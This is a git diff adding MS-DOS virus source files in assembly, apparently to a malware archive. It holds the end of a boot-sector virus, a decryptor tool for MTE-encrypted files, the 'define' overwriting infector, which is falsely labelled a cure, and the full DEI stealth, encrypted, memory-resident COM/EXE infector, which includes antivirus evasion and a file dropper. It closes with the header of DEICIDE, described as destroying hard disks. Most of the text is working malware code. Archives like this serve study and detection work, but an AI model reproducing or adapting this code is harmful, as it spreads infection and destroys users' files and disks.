1Eh, 83h,0C6h, 02h,0BFh + db 02h, 7Ch,0B9h, 1Eh, 00h, 32h + db 0F6h,0EBh, 30h,0EAh, 85h,0A5h + db 00h,0F0h + db 0B8h, 01h, 00h,0F8h +loc_5: + pop di + pop si + pop bx + inc sp + inc sp + retf 2 ; Return far +loc_6: + add si,1BEh + mov di,7DBEh + mov cx,20h + jmp short $+15h + +debug endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,301h + pushf ; Push flags + call dword ptr cs:data_16e + jnc loc_ret_7 ; Jump if carry=0 + pop bx + mov cl,1 + xor dh,dh ; Zero register + jmp short $-28h + +loc_ret_7: + retn +sub_1 endp + + ;* No entry point to code + push ds + push es + pop ds + push cs + pop es + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov cx,1 + mov bx,7C00h + mov ax,301h + pushf ; Push flags + call dword ptr cs:data_16e + jc $-0Fh ; Jump if carry Set + push ds + pop es + inc byte ptr cs:data_19e + pop ds + jmp short $-4Ch + ;* No entry point to code + add ax,714h + sbb al,1 + or al,75h ; 'u' + push ss + sbb ax,1610h + push ds + db 0FFh +loc_8: + call sub_2 + pop di + pop si + pop bx + pop ax + pushf ; Push flags + call dword ptr cs:data_16e + xor dh,dh ; Zero register + mov cl,1 + retf 2 ; Return far + +; +; SUBROUTINE +; + +sub_2 proc near + cmp dl,79h ; 'y' + ja loc_10 ; Jump if above + mov ax,es:[bx+16h] + mov dh,1 + cmp al,3 + jae loc_9 ; Jump if above or = + mov cl,3 + retn +loc_9: + cmp al,7 + jae loc_10 ; Jump if above or = + mov cl,5 + retn +loc_10: + mov cl,0Eh + retn +sub_2 endp + + ;* No entry point to code + push ax + push ds + xor ax,ax ; Zero register + mov ds,ax + mov al,ds:data_3e + and al,0Ch + cmp al,0Ch + jne loc_11 ; Jump if not equal + in al,60h ; port 60h, keybd scan or sw1 + cmp al,53h ; 'S' + jne loc_11 ; Jump if not equal + in al,61h ; port 61h, 8255 port B, read + push ax + or al,80h + out 61h,al ; port 61h, 8255 B - spkr, etc + pop ax + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + mov ax,2 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + int 19h ; Bootstrap loader +loc_11: + mov al,ds:data_4e + mov ds:data_1e,ax + mov ds:data_2e,ax + push cs + pop ds + cmp al,ds:data_19e + jbe $+1Ah ; Jump if below or = + xor ax,ax ; Zero register + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov si,data_18e +loc_12: + mov ah,0Eh + xor bx,bx ; Zero register + cld ; Clear direction + lodsb ; String [si] to al + cmp al,0FFh + je loc_13 ; Jump if equal + xor al,55h ; 'U' + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_12 +loc_13: + hlt ; Halt processor + pop ds + pop ax + jmp far ptr $-1930h + db 0C9h, 0Fh, 80h, 01h, 01h, 00h + db 06h, 0Eh,0E2h,0E7h, 22h, 00h + db 00h, 00h, 0Eh,0C8h, 07h + db 49 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.decom.asm b/MSDOS/Virus.MSDOS.Unknown.decom.asm new file mode 100644 index 00000000..f658e910 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.decom.asm @@ -0,0 +1,235 @@ +;DECOM - has few safety features right now, be careful =) + +.model tiny +.radix 16 +.code + org 100 + include wolf.lib + +start: + printf intro, ds +Release_Memory: + mov bx,(end_unmte-start+10f)/10 ;Release all but what + changealloc bx,es ;our prog needs. + +Allocate_Block_For_MTE_Prog: ;Allocate memory for + mov bx,1000 ;MTE-inf prog. + alloc bx + jnc Memory_Good + jmp exit +Memory_Good: + push ax + +Get_Filenames: + printf Enter_FN, ds + gets filename_buf, ds, 30 + printf Enter_DN, ds + gets unenc_buf, ds, 30 + +Open_Prog: + fopen 0, filename, cs + jnc Load_Prog + printf Bad_File, ds + jmp Get_Filenames + +Load_Prog: + pop ax + sub ax,10 + mov ds,ax ;Convert Seg:0 to Seg:100 + fread bx, 0ffff, 100, ax + mov cs:[MTE_Size],ax + mov cs:[MTE_Segment],ds + +Close_Prog: + fclose bx + +Setup_Trace: + push ds ds + + mov byte ptr cs:[Success],1 + + push cs + pop ds + get_int 1 + mov word ptr [IP_01],bx + mov word ptr [CS_01],es + set_int 1, Int_01_Handler, ds + + pop ds es ;restore segment regs to MTE prog + + cli + mov ax,ds + mov ss,ax ;setup new stack + mov sp,0fffe + sti + + xor ax,ax + mov bx,ax + mov cx,ax + mov dx,ax ;Zero all registers + mov si,ax + mov di,ax + mov bp,ax + + + pushf ;Setup stack for IRET to code + pop ax + or ax,100 + push ax ;Set flag on IRET + + push ds + mov ax,100 + push ax + + xor ax,ax + + iret ;Jump to MTE prog with trap set. + +Done_Trace: + push cs cs + pop es ds ;restore seg regs + + cli + mov ax,ds + mov ss,ax ;reset stack + mov sp,0fffe + sti + +Restore_Int_01: + mov dx, word ptr cs:[CS_01] + mov ds,dx + mov dx, word ptr cs:[IP_01] + set_int 1, dx, ds + push cs + pop ds + + cmp byte ptr cs:[Success],0 + jne Save_It + + + printf halted, ds + jmp Exit + +Save_It: + mov ah,3c + xor cx,cx + mov dx,offset Unencrypted + int 21 + + xchg bx,ax + + mov ah,40 + mov dx,word ptr cs:[MTE_Segment] + mov ds,dx + mov dx,100 + mov cx,word ptr cs:[MTE_Size] + int 21 + + mov ah,3e + int 21 +Exit: + terminate + +Int_01_Handler: + push bp + mov bp,sp + push ax bx cx dx es ds si di + mov bx, word ptr ss:[bp+4] ;CS + mov ds,bx + mov bx,word ptr ss:[bp+2] ;IP + mov ax,word ptr ss:[bp+6] ;flags + and ax,40 + + cmp byte ptr ds:[bx],0cdh ;Interrupt call + je Stop_Execution + cmp byte ptr ds:[bx],9a ;Far Call + je Stop_Execution + cmp byte ptr ds:[bx],9c ;Pushf + je Stop_Execution + +ES_DS_CHeck: + push bx + mov bx,ds + cmp word ptr ds:[bp-0c],bx ;CS != DS + jne Done_Check + cmp word ptr ds:[bp-0a],bx ;CS != ES +Done_Check: + pop bx + jne Stop_Execution + + +Check_For_Encryption_Loop: + cmp byte ptr ds:[bx],75 ;Check if JNZ (end of MTE decrypt) + je Is_JNZ + cmp byte ptr ds:[bx],74 ;Check for other loop jumps.. + je Is_JZ + cmp byte ptr ds:[bx],0e0 + je Is_LOOPNZ + cmp byte ptr ds:[bx],0e1 + je Is_LOOPZ + cmp byte ptr ds:[bx],0e2 + je Is_LOOP +Continue_Decrypt: +Done_Int_01_Handler: + pop di si ds es dx cx bx ax + pop bp + iret + +Stop_Execution: + mov byte ptr cs:[Success],0 + jmp Done_Trace + + +Is_LOOPNZ: +Is_JNZ: + or ax,ax + jz Jump_True + jmp Jump_False + +Is_LOOPZ: +Is_JZ: + or ax,ax + jz Jump_False + jmp Jump_True + +Is_LOOP: + dec cx + jz Jump_False + jmp Jump_True + +Jump_False: + cmp byte ptr ds:[bx+1], 80 + jae Done_Decrypt + jmp Continue_Decrypt + +Jump_True: + cmp byte ptr ds:[bx+1],80 + ;jae Continue_Decrypt + jmp Continue_Decrypt ;MTE only... change later +Done_Decrypt: + jmp Done_Trace + + +IP_01 dw 0 +CS_01 dw 0 + +MTE_Segment dw 0 +MTE_Size dw 0 + +Success db 0 + +halted db 0a,0dh,'Sorry, cannot decrypt file safely.',0 +intro db 'DECOM 0.9, COM (MTE) File Decryptor (c) 1993 Black Wolf.',0a,0dh + db 'Beta-Test Version, Use At Your Own Risk.',0 +Enter_FN db 0a,0dh,'Please Enter Source Filename: ',0 +Enter_DN db 0a,0dh,'Now Enter The Destination Filename: ',0 +Bad_File db 0a,0dh,'Sorry, file not found.',0 + +filename_buf db ?,? +filename db 30 dup(?) + +unenc_buf db ?,? +unencrypted db 30 dup(?) + +end_unmte: +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.define.asm b/MSDOS/Virus.MSDOS.Unknown.define.asm new file mode 100644 index 00000000..0c11b20c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.define.asm @@ -0,0 +1,67 @@ +;=========================================================================== +;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS +;From: Mike Hathorn Refer#: NONE +;To: All Recvd: NO +;Subj: define Conf: (54) Virus +;--------------------------------------------------------------------------- + +;Gentlemen, + + +;The following assembly source code is the cure for the define +;virus. Define, because it is my belief that by the definition +;of a virus, no stable virus can be written smaller than define. + +; Code compiled under MASM ver 4.00 +; Use DOS EXE2BIN to convert to .COM file +; Code assumes SI=100h, AX=00h +; (c) 1991 Mithrandir + + +TITLE DEFINE +CODE SEGMENT + + +ASSUME CS : CODE +ORG 100h + + +VIRUS_CURE: +XCHG CX,AX ;exchange register values and setup search + ;for normal files +MOV AH,4Eh ;setup search for first match +MOV DX,OFFSET File ;point to search criteria +INT 21h ;search for any normal file + + +MOV AX,3D01h ;setup open file with write access +MOV DX,09Eh ;point to file ASCIIZ spec +INT 21h ;open file +XCHG BX,AX + + +MOV AH,40h ;setup write to file +MOV DX,SI ;write this code +MOV CX,SI ;this many bytes +INT 21h ;write it + + +RET + + +File: +DB '*.*',0 + + +CODE ENDS + + +END VIRUS_CURE + + + +;Mithrandir + + +;--- Opus-CBCS 1.14 + ;* Origin: The Mad Dog Opus (5:7104/3.0) diff --git a/MSDOS/Virus.MSDOS.Unknown.dei.asm b/MSDOS/Virus.MSDOS.Unknown.dei.asm new file mode 100644 index 00000000..229b6076 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dei.asm @@ -0,0 +1,960 @@ +; =======================================================================> + +PING equ 0BF1h ; a worthless DOS function +PONG equ 0DEAFh ; response to residency test + +code segment + org 100h + assume cs:code,ds:code + +start: + jmp virus_begin ; fake host program + db 26 dup (0) + +virus_begin: + db 0BBh ; mov bx, +code_offset dw 0 + db 0B0h ; mov al, +cipher db 0 +decrypt: + db 02Eh ; cs: +decryptor_1: xor [bx],al + inc bx +shift_1: neg al + db 81h,0FBh ; cmp bx, +code_offset_2 dw 0 + jbe decrypt +viral_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es ; save segregs + + jmp kill_sourcer ; mess with disassemblers + db 0E9h +kill_sourcer: + xor ah,ah ; create or delete the + int 1Ah ; \DEI.COM file at random + cmp dx,0FE00h ; times ... + jb dont_drop + call drop_program + jmp dont_delete +dont_drop: + cmp dx,0800h + ja dont_delete + call delete_program +dont_delete: + mov ax,PING ; residency test + int 21h + cmp bx,PONG ; if installed, + jne not_installed ; don't install again + jmp installed +not_installed: + mov ax,es ; install ourselves + dec ax ; in memory + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] ; doing some calculations and + mov ds,ax ; a bit of manipulation to + + sub ax,15 ; memory + mov es,ax ; ES points to our destiny + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + + push cs ; zopy it + pop ds + mov di,100h + mov cx,virus_end - start + lea si,[bp + start] + rep movsb + + xor ax,ax + mov ds,ax + + sub word ptr ds:[413h],7 ; allocate memory from BIOS + + mov si,21h * 4 ; saving old interrupt 21 + mov di,offset old_int_21 ; first + movsw + movsw + + lea dx,[bp + int_1] + mov ds:[4],dx ; recursive tunneling - + mov ds:[6],cs ; trace through interrupt 21 + + push es + mov ah,52h ; get list of lists + int 21h ; for segment of DOS's int 21 + mov ax,es + mov cs:[bp + int_21_seg],ax + pop es + mov [bp + our_es],es + + mov ax,100h ; set trap flag + push ax + popf + + mov ah,0Bh ; and send us down the tunnel + pushf + call dword ptr ds:[21h * 4] + + xor ax,ax ; turn off trap flag + push ax + popf + + mov word ptr ds:[si - 4],0 ; little anti-trace ... + + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new interrupt 21 + +installed: + pop es ds + cmp cs:[bp + exe_flag],1 ; is this an .EXE file? + je exe_exit ; if so, exit as such +com_exit: + lea si,[bp + offset host] ; restore original header + mov di,100h + push di + mov cx,28 + rep movsb + + call reset_regs + + ret ; and leave + +exe_exit: + + mov ax,ds + add ax,cs:[bp + exe_cs] + mov word ptr cs:[bp + jump_to + 2],ax + mov ax,cs:[bp + exe_ip] + mov word ptr cs:[bp + jump_to],ax + + mov ax,ds + add ax,cs:[bp + exe_ss] ; restore original stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call reset_regs ; reset registers + + db 0EAh +jump_to dd 0 + +reset_regs: + mov si,100h + xor ax,ax + xor bx,bx + xor di,di + xor bp,bp + ret + +; int 1 handler for tunneling. + +int_21_seg dw 0 ; original int 21 segment +our_es dw 0 ; our ES + +int_1: + push bp ; save registers used + mov bp,sp + + push ax + mov ax,[bp + 4] ; SEGMENT of next instruction + + push bp + call get_dest_seg ; get location pointer +get_dest_seg: + pop bp + + cmp ax,cs:[bp - (get_dest_seg - int_21_seg)] + pop bp ; restore BP + jbe tunneled ; found, we're through + + push ds si ; no, check next instruction + + mov ds,ax + mov si,[bp + 2] ; OFFSET of next instruction + lodsb ; next instruction in AL + + cmp al,0CFh ; IRET instruction? + je set_iret ; adjust accordingly + + cmp al,09Dh ; POPF instruction? + je set_popf ; adjust + + jmp flag_check_done ; never mind ... + +tunneled: ; we're done ... save segment + push es si + call get_our_es +get_our_es: + pop si + mov si,cs:[si - (get_our_es - our_es)] + mov es,si + mov word ptr es:[old_int_21 + 2],ax + mov ax,[bp + 2] ; and offset + mov word ptr es:[old_int_21],ax + and [bp + 6],0FEFFh ; deinstall tunnel routine + pop si es + jmp exit + +set_iret: + or [bp + 10],100h ; OFFSET of second interrupt + jmp flag_check_done ; call on stack (flags) + +set_popf: + or [bp + 6],100h ; OFFSET of word before + ; interrupt call on stack +flag_check_done: + pop si ds +exit: + pop ax bp + iret + +; int 24 handler. +; DOS changes it back automatically. + +new_int_24: + mov al,3 ; simple enough + iret + +; ================================================> +; int 21 handler. +; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h +; ================================================> + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; are we checking on ourself? + je pass_signal ; yes, give the signal + + cmp ax,4B00h ; program execution? + je execute ; uh - huh + + cmp ah,11h ; directory stealth method 1 + je dir_stealth_1 ; (hide from DIR listing) + cmp ah,12h + je dir_stealth_1 + + cmp ah,4Eh ; directory stealth method 2 + je dir_stealth_2 ; (hide from ASCIIZ search) + cmp ah,4Fh + je dir_stealth_2 + + cmp ah,3Dh ; file open method 1 + jne go_on + jmp file_open +go_on: + cmp ah,6Ch ; file open method 2 + jne go_on_2 + jmp file_open +go_on_2: + cmp ah,3Fh ; file read + jne go_on_3 + jmp file_read +go_on_3: + cmp ax,5700h ; get date + jne int_21_exit + jmp fix_date + +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +pass_signal: + mov bx,PONG ; pass signal + jmp int_21_exit + +execute: + call check_name + jc skip_infect ; don't infect if marked + call infect_ds_dx ; simple enough ... +skip_infect: + jmp int_21_exit + +dir_stealth_1: + call int_21 ; do it + test al,al ; if al = -1 + js cant_find ; then don't bother + + push ax bx es ; check file for infection + + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 + +no_ext_FCB: + mov ax,es:[bx + 19h] + cmp ah,100 ; check years - + jb fixed ; if 100+, infected + + ror ah,1 + sub ah,100 + rol ah,1 + mov es:[bx + 19h],ax + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28 + sbb word ptr es:[bx + 1Fh],0 +fixed: + pop es bx ax +cant_find: + iret + + +dir_stealth_2: + call int_21 ; perform file search + jnc check_file_2 ; if found, proceed + retf 2 ; nope, leave +check_file_2: + push ax bx si es + + mov ah,2Fh ; find DTA + int 21h + + mov ax,es:[bx + 18h] + cmp ah,100 ; check for infection marker + jb fixed_2 + + ror ah,1 ; fix up date + sub ah,100 + rol ah,1 + mov es:[bx + 18h],ax + + sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28 + sbb word ptr es:[bx + 1Ch],0 +fixed_2: + pop es si bx ax ; done + clc + retf 2 + +file_open: + call try_infecting ; try to infect file + + call int_21 ; open file + jc open_fail ; carry set, open failed + + cmp ax,5 ; if handle is a device, + jb dont_bother ; don't bother with it + + push ax bx di es + + xchg ax,bx + push bx + mov ax,1220h ; get system file table + int 2Fh ; entry + + nop ; anti-SCAN + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; check datestamp + jb dont_stealth + + cmp word ptr es:[di],1 ; if file has already + ja dont_stealth ; been opened, don't stealth + + sub es:[di + 11h],VIRUS_SIZE + 28 + sbb word ptr es:[di + 13h],0 ; stealth it ... change file + ; size + +dont_stealth: + pop es di bx ax ; restore everything +dont_bother: + clc +open_fail: + retf 2 ; and return + +file_read: + cmp bx,5 ; if read from device, + jae check_it_out ; don't bother + jmp forget_it + +check_it_out: + push si di es ax bx cx + + push bx + mov ax,1220h ; get SFTs + int 2Fh + + nop + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; 100+ years + jae check_pointer ; is the magic number + jmp no_read_stealth +check_pointer: + cmp word ptr es:[di + 17h],0 ; if file pointer above 64K, + je check_pointer_2 ; then skip it + jmp no_read_stealth + +check_pointer_2: + cmp word ptr es:[di + 15h],28 ; if file pointer under 28, + jae no_read_stealth ; then DON'T + + push es:[di + 15h] ; save it + + mov ah,3Fh + call int_21 ; do the read function + + pop cx ; now find how many bytes + push ax ; (Save AX value) + sub cx,28 ; we have to change ... + neg cx ; and where + + cmp ax,cx ; if more than 28 were read, + jae ok ; ok + + xchg ax,cx ; otherwise, switch around +ok: + push ds cx dx + + push es:[di + 15h] ; save current file pointer + push es:[di + 17h] + + add es:[di + 11h],VIRUS_SIZE + 28 + adc word ptr es:[di + 13h],0 + mov ax,es:[di + 11h] ; fix up file size to prevent + sub ax,28 ; read past end of file + + mov es:[di + 15h],ax + mov ax,es:[di + 13h] + mov es:[di + 17h],ax + + push cs ; now read in real first 28 + pop ds ; bytes + mov dx,offset read_buffer + mov cx,28 + mov ah,3Fh + call int_21 + + sub es:[di + 11h],VIRUS_SIZE + 28 + sbb word ptr es:[di + 13h],0 + + pop es:[di + 17h] ; restore file pointer + pop es:[di + 15h] + + pop dx cx ds ; now we move our 28 bytes + push ds ; into theirs ... + pop es + + mov di,dx + mov si,offset read_buffer + push cs + pop ds + rep movsb ; done + + push es ; restore DS + pop ds + + pop ax + pop cx bx es es di si + clc + retf 2 + +no_read_stealth: + pop cx bx ax es di si +forget_it: + jmp int_21_exit + +fix_date: + call int_21 ; get date + jc an_error + cmp dh,100 ; if years > 100, + jb date_fixed ; fix it up + ror dh,1 + sub dh,100 + rol dh,1 +date_fixed: + iret +an_error: + retf 2 +; Called routines + +; this routine checks for a .COM or .EXE file +try_infecting: + push di es cx ax + + cmp ax,6C00h ; extended open fix + jne get_ext + xchg dx,si +get_ext: + mov di,dx ; find program extension + push ds + pop es + mov cx,64 + mov al,'.' + repnz scasb + pop ax + jcxz let_it_be ; ... "ecch" ... + + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; maybe .EXE, then + cmp byte ptr [di + 2],'M' + jne let_it_be ; not program, don't infect + jmp yes_infect_it +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne one_more_try ; maybe ... .OVL? + cmp byte ptr [di + 2],'E' + jne let_it_be + jmp yes_infect_it +one_more_try: + cmp [di],'VO' ; .OVL file? + jne let_it_be + cmp byte ptr [di + 2],'L' + jne let_it_be +yes_infect_it: + call check_name ; don't infect forbidden + jc let_it_be ; programs + call infect_ds_dx +let_it_be: + cmp ah,6Ch ; extended open fixup + jne get_out + xchg dx,si +get_out: + pop cx es di + ret + +; this routine checks the filename at DS:DX for certain 'bad' programs + +check_name: + push ax cx es di + + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + + cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN + jne pass_1 + cmp word ptr [di - 5],'CS' + je av_prog +pass_1: + cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT + jne pass_2 + cmp word ptr [di - 5],'RP' + je av_prog +pass_2: + cmp word ptr [di - 3],'DN' ; COMMAND.COM + jne pass_3 ; ("Bad or Missing," etc.) + cmp word ptr [di - 5],'AM' + je av_prog +pass_3: + cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC + jne pass_4 ; ("Packed file is corrupt") + cmp word ptr [di - 7],'BQ' + je av_prog +pass_4: + clc ; passed the test + jmp check_complete +av_prog: + stc ; ack! *GAG* *boo* *hiss* +check_complete: + pop di es cx ax + ret + +; this routine infects the file at DS:DX + +infect_ds_dx: + push ax bx cx dx si di ds es + + in al,21h ; some anti-trace + xor al,2 + out 21h,al + + xor al,2 + out 21h,al + + mov ax,3D00h ; read-only ... we'll change + call int_21 ; it later, but it won't trip + jnc hook_24 ; some AV monitors + jmp cant_open + +hook_24: + xor bx,bx ; hook int 24h + mov ds,bx ; prevent write protect errors + mov ds:[24h * 4],offset new_int_24 + mov ds:[24h * 4 + 2],cs + + xchg bx,ax ; get system file tables + push bx + mov ax,1220h + int 2Fh + nop ; anti-SCAN + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; if already infected, + jae dont_infect ; don't do it again + + mov word ptr es:[di + 2],2 ; change mode to R/W + + push cs ; read in 28 bytes of + pop ds ; our potential host ... + + mov dx,offset read_buffer + mov cx,28 + mov ah,3Fh ; (carefully avoiding + call int_21 ; our stealth routine) + + cmp word ptr read_buffer,'ZM' + je infect_exe ; if .EXE, infect as one + + mov exe_flag,0 ; infect as .COM + + mov ax,es:[di + 11h] ; get file size + + cmp ax,65279 - VIRUS_SIZE + 28 + ja dont_infect ; don't infect; too big + + cmp ax,28 + jb dont_infect ; don't infect; too small + + mov es:[di + 15h],ax ; move to end of file + ; (I just love the SFTs ...) + call encrypt_and_write_virus ; encrypt the virus code + ; then write it to the file + + mov dx,offset read_buffer ; store original + mov cx,28 ; header + mov ah,40h + call int_21 + + mov word ptr es:[di + 15h],0 ; and lastly, back to + ; the beginning of the file + mov dx,offset new_header ; to add the new header + mov ah,40h + mov cx,22 ; our header's only 22 bytesx + call int_21 + + mov cx,es:[di + 0Dh] ; fix date/time + mov dx,es:[di + 0Fh] + ror dh,1 + add dh,100 + rol dh,1 + mov ax,5701h + call int_21 +dont_infect: + mov ah,3Eh ; and close the file + call int_21 +cant_open: + jmp infect_exit ; infection done; exit + +infect_exe: + cmp word ptr read_buffer[24],'@' + jne not_windows + jmp infect_exit ; Windows .EXE, don't infect +not_windows: + cmp word ptr read_buffer[26],0 + je not_overlay + jmp infect_exit ; overlay .EXE, don't infect +not_overlay: + mov exe_flag,1 ; infect as .EXE + + push es di ; move original header + push cs ; into new header area + pop es + + mov si,offset read_buffer + mov di,offset header_buffer + mov cx,28 + rep movsb + + pop di es + + push es:[di + 11h] ; save file size on stack + push es:[di + 13h] + + push word ptr read_buffer[22] ; CS ... + pop exe_cs + add exe_cs,10h ; (adjust) + push word ptr read_buffer[20] ; IP ... + pop exe_ip + + push word ptr read_buffer[14] ; SS ... + pop exe_ss + add exe_ss,10h ; (adjust) + push word ptr read_buffer[16] ; and SP + pop exe_sp + + pop dx ax ; now we calculate new CS:IP + push ax dx ; (save these for later) + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + + pop dx ax + add ax,VIRUS_SIZE + 28 + adc dx,0 + push ax dx + + mov cl,4 ; create a stack segment + shr ax,cl + add ax,200 + + cmp ax,word ptr read_buffer[14] + jb no_new_stack ; if theirs is better, skip it + + mov dx,-2 ; set SP to FFFE always + mov word ptr read_buffer[14],ax + mov word ptr read_buffer[16],dx +no_new_stack: + pop dx ax ; now calculate program size + + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + + mov ax,4202h ; this is just easier + cwd ; than using the SFTs + xor cx,cx + call int_21 + + mov ax,word ptr read_buffer[20] ; get code offset + call encrypt_and_write_virus ; encrypt virus code + ; and write it to the file + mov dx,offset header_buffer ; write original header + mov cx,28 ; to file + mov ah,40h + call int_21 + + mov word ptr es:[di + 15h],0 + mov word ptr es:[di + 17h],0 ; back to beginning of file + + mov dx,offset read_buffer ; and write new header to file + mov ah,40h + call int_21 + + mov cx,es:[di + 0Dh] ; fix date/time + mov dx,es:[di + 0Fh] + ror dh,1 + add dh,100 + rol dh,1 + mov ax,5701h + call int_21 + + mov ah,3Eh ; close file + call int_21 + +infect_exit: + pop es ds di si dx cx bx ax ; done ... leave + ret + +encrypt_and_write_virus: + push es di bx ax ; save code offset and SFT + mov bx,ax + + xor ah,ah ; get random number from + int 1Ah ; system clock + mov cipher,dl ; and use it for encryption + + pop ax ; fix up offset + + cmp exe_flag,0 + jne not_org_100h + add ax,100h +not_org_100h: + add ax,(viral_code - virus_begin) + mov ds:code_offset,ax + + add ax,(virus_end - viral_code) - 1 ; second offset + mov ds:code_offset_2,ax + + mov si,offset virus_begin + mov di,offset encrypt_buffer + + push cs ; move decryption module + pop es + + mov cx,viral_code - virus_begin + rep movsb + + mov si,offset viral_code + mov cx,virus_end - viral_code +encrypt: ; now encrypt virus code + lodsb ; with a simple encryption +decryptor_2: + xor al,dl ; key ... +shift_2: + neg dl + stosb + loop encrypt + + cmp exe_flag,0 ; if .COM file, + jne exe_infection + mov ax,bx + call create_header ; create unique header + +exe_infection: + pop bx di es ; restore SFT + + mov ah,40h ; wrte virus code to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + call int_21 + + ret + +check_datestamp: + mov ax,es:[di + 0Fh] ; a little routine to + cmp ah,100 ; check timestamps + ret + +drop_program: + lea dx,[bp + offset weirdo] ; this creates our + push ds ; little signature + push cs + pop ds + mov ah,3Ch + mov cx,3 + int 21h + jc no_drop + + xchg ax,bx + mov ah,40h + mov cx,(drop_me_end - drop_me) + lea dx,[bp + offset drop_me] + int 21h + + mov ah,3Eh + int 21h + +no_drop: + pop ds + ret + +delete_program: + mov ah,41h + lea dx,[bp + offset weirdo] + push ds + push cs + pop ds + int 21h + pop ds + ret + +create_header: + push ax + add ax,100h + (offset decrypt - offset virus_begin) + mov ds:mov_1,ax ; header + inc ax + inc ax + mov ds:mov_2,ax + + xor ah,ah ; fill in useless MOVs + int 1Ah ; with random bytes + mov ds:mov_al,cl + mov ds:mov_ax,dx + + push dx ; modify header a little ... + and cl,7 ; make things weirder ... + add cl,0B0h + mov ds:mov_reg,cl + and dl,3 + add dl,0B8h + mov ds:mov_regx,dl + pop dx + + push cs + pop es + mov di,offset encrypt_buffer + add di,offset decrypt - offset virus_begin + mov ax,dx ; now fill decryption module + neg ax ; with some garbage + stosw + rol ax,1 + stosw + + pop ax + sub ax,20 ; fix up JMP instruction + mov ds:new_jump,ax + + ret ; done + +new_header db 0C7h,06 +mov_1 dw 00 + db 2Eh +decryptor_3 db 30h ; first MOV +mov_reg db 0B0h +mov_al db 00 ; a nothing MOV bytereg, + db 0C7h,06 +mov_2 dw 00 + db 07,043h ; second MOV +mov_regx db 0B8h +mov_ax dw 00 ; a nothing MOV wordreg, + db 0E9h ; jump instruction +new_jump dw 0 ; virus offset + +exe_flag db 0 + +exe_cs dw 0 ; EXE code/stack settings +exe_ip dw 0 +exe_ss dw 0 +exe_sp dw 0 + +drop_me: + mov ah,9 ; this program is dropped + mov dx,109h ; at random times within + int 21h ; the root directory as + int 20h ; \DEI.COM + +sig db 'Devils & Evangels, Inc. ' + db '[DEI] MnemoniX $',0 +drop_me_end: + db 'v2.00' + +weirdo db '\DEI.COM',0 + +virus_end: +host: + mov ah,4Ch ; fake host program + int 21h + +VIRUS_SIZE equ virus_end - virus_begin + +read_buffer db 28 dup (?) +header_buffer db 28 dup (?) +encrypt_buffer db VIRUS_SIZE dup (?) +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.deicide.asm b/MSDOS/Virus.MSDOS.Unknown.deicide.asm new file mode 100644 index 00000000..5156bb02 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.deicide.asm @@ -0,0 +1,218 @@ +;*************************************************************************** +; Source code of the DEICIDE Virus, original author: Glen Benton +; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion +; in Crypt Newsletter #7. The Crypt reader will also notice the +; DEICIDE listing has NO declarative red tape - no org's, no assume +; cs,ds,es stuff, no start/ends pairs or proc labels. For the average +; reader, this means TASM and MASM will choke if you try to get them to +; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying, +; and this listing can be assembled directly to a .COMfile +; without the need of a linker. +; +; DEICIDE virus is a kamikaze overwriting .COM infector, with a length +; of 666 bytes in its original state. With A86, you get 665 bytes, which, we +; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP +; to the listing if this bugs you too much.) Anyway, on call DEICIDE +; jumps right to the root directory where it looks for a any .COM file +; except COMMAND.COM to infect. +; +; If all files are infected, and DEICIDE is not on the C drive it attempts to +; ruin it anyway. If all files in the root on C are infected, the fixed disk +; is destroyed, a message displayed and the computer hung. +; If a program is successfully overwritten, DEICIDE exits to DOS +; 